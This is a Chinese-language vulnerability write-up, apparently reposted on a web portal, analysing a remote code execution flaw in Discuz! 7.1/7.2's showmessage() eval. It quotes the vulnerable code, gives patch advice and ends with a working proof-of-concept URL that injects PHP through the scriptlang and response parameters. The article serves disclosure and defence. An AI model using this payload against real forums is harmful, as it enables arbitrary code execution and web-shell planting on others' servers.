Discuz! 7.1 远程代码执行漏洞

1970-01-01    来源:

容器云强势上线!快速搭建集群,上万Linux镜像随意使用
截稿至此时,黑客X档案等一些使用discuz!最新版的论坛已被攻击进而无法访问。

首先说一下,漏洞是t00ls核心群传出去的,xhming先去读的,然后我后来读的,读出来的都是代码执行,1月5日夜里11点多钟,在核心群的黑客们的要求下,xhming给了个poc,我给了个exp,确实发现的是同一个问题。截止夜里2点多种我下线,还只有t00ls核心群里几个人知道我给出的exp,可我怎么也想不到,经过半天时间,exp就满天飞了,而且确实出自昨天我的那个版本。

不难想象,exp流传的速度,A与B关系好,A发给B;B与C是好朋友,B发给C...总有人耐不住性子,泄露点风声,于是就人手一份。最受不了的是,竟然有些SB在群里拿来叫卖;实在不想说什么,要叫卖什么时候轮到你?人心不古,以后有的话还是自己藏着吧。

上午漏洞告诉了Saiy,DZ官方的补丁很快就出来了吧。

特别说明:产生漏洞的$scriptlang数组在安装插件后已经初始化,因此有安装插件的用户不受影响。

漏洞介绍:

Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。

漏洞分析:

下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:

一、漏洞来自showmessage函数:

function?showmessage($message,?$url_forward?=?'',?$extra?=?'',?$forwardtype?=?0)?{
????extract($GLOBALS,?EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from?www.oldjun.com
????global?$hookscriptmessage,?$extrahead,?$discuz_uid,?$discuz_action,?$debuginfo,?$seccode,?$seccodestatus,?$fid,?$tid,?$charset,?$show_message,?$inajax,?$_DCACHE,?$advlist;
????define('CACHE_FORBIDDEN',?TRUE);
????$hookscriptmessage?=?$show_message?=?$message;$messagehandle?=?0;
????$msgforward?=?unserialize($_DCACHE['settings']['msgforward']);
????$refreshtime?=?intval($msgforward['refreshtime']);
????$refreshtime?=?empty($forwardtype)???$refreshtime?:?($refreshtime???$refreshtime?:?3);
????$msgforward['refreshtime']?=?$refreshtime?*?1000;
????$url_forward?=?empty($url_forward)???''?:?(empty($_DCOOKIE['sid'])?&&?$transsidstatus???transsid($url_forward)?:?$url_forward);
????$seccodecheck?=?$seccodestatus?&?2;
????if($_DCACHE['settings']['funcsiteid']?&&?$_DCACHE['settings']['funckey']?&&?$funcstatinfo?&&?!IS_ROBOT)?{
????????$statlogfile?=?DISCUZ_ROOT.'./forumdata/funcstat.log';
????????if($fp?=?@fopen($statlogfile,?'a'))?{
????????????@flock($fp,?2);
????????????if(is_array($funcstatinfo))?{
????????????????$funcstatinfo?=?array_unique($funcstatinfo);
????????????????foreach($funcstatinfo?as?$funcinfo)?{
????????????????????fwrite($fp,?funcstat_query($funcinfo,?$message)."\n");
????????????????}
????????????}?else?{
????????????????fwrite($fp,?funcstat_query($funcstatinfo,?$message)."\n");
????????????}
????????????fclose($fp);
????????????$funcstatinfo?=?$GLOBALS['funcstatinfo']?=?'';
????????}
????}

????if(!defined('STAT_DISABLED')?&&?STAT_ID?>?0?&&?!IS_ROBOT)?{
????????write_statlog($message);
????}

????if($url_forward?&&?(!empty($quickforward)?||?empty($inajax)?&&?$msgforward['quick']?&&?$msgforward['messages']?&&?@in_array($message,?$msgforward['messages'])))?{
????????updatesession();
????????dheader("location:?".str_replace('&',?'&',?$url_forward));
????}
????if(!empty($infloat))?{
????????if($extra)?{
????????????$messagehandle?=?$extra;
????????}
????????$extra?=?'';
????}
????if(in_array($extra,?array('HALTED',?'NOPERM')))?{
????????$discuz_action?=?254;
????}?else?{
????????$discuz_action?=?255;
????}

????include?language('messages');

????$vars?=?explode(':',?$message);//只要含:就可以了
????if(count($vars)?==?2?&&?isset($scriptlang[$vars[0]][$vars[1]]))?{//两个数字即可,用:分割
????????eval("\$show_message?=?\"".str_replace('"',?'\"',?$scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义,from?www.oldjun.com
????}?elseif(isset($language[$message]))?{
????????$pre?=?$inajax???'ajax_'?:?'';
????????eval("\$show_message?=?\"".(isset($language[$pre.$message])???$language[$pre.$message]?:?$language[$message])."\";");
????????unset($pre);
????}

????......
}

二、DZ的全局机制导致了未初始化的参数可以任意提交:

foreach(array('_COOKIE',?'_POST',?'_GET')?as?$_request)?{
????foreach($$_request?as?$_key?=>?$_value)?{
????????$_key{0}?!=?'_'?&&?$$_key?=?daddslashes($_value);
????}
}

三、misc.php正好有个可以自定义message的点,其实也是未初始化:

elseif($action?==?'imme_binding'?&&?$discuz_uid)?{

????if(isemail($id))?{
????????$msn?=?$db->result_first("SELECT?msn?FROM?{$tablepre}memberfields?WHERE?uid='$discuz_uid'");
????????$msn?=?explode("\t",?$msn);
????????$id?=?dhtmlspecialchars(substr($id,?0,?strpos($id,?'@')));
????????$msn?=?"$msn[0]\t$id";
????????$db->query("UPDATE?{$tablepre}memberfields?SET?msn='$msn'?WHERE?uid='$discuz_uid'");
????????showmessage('msn_binding_succeed',?'memcp.php');
????}?else?{
????????if($result?==?'Declined')?{
????????????dheader("Location:?memcp.php");
????????}?else?{
????????????showmessage($response['result']);//$response没有初始化,可以自定义,from?www.oldjun.com

????????}
????}

???}

四、漏洞利用:

showmessage函数里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。

五、漏洞修复:

1.有补丁的打补丁;
2.没有补丁可以暂时先注释引起漏洞的语句,或者对两个变量赋个值。

poc:

(应Saiy的要求,不发exp了!)注册一个用户登陆,然后提交
misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}

标签: 代码 漏洞 问题 用户

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点!
本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。

上一篇:Discuz!7.0登录框登录后不能正常跳转

下一篇:DISCUZ!论坛标签SEO优化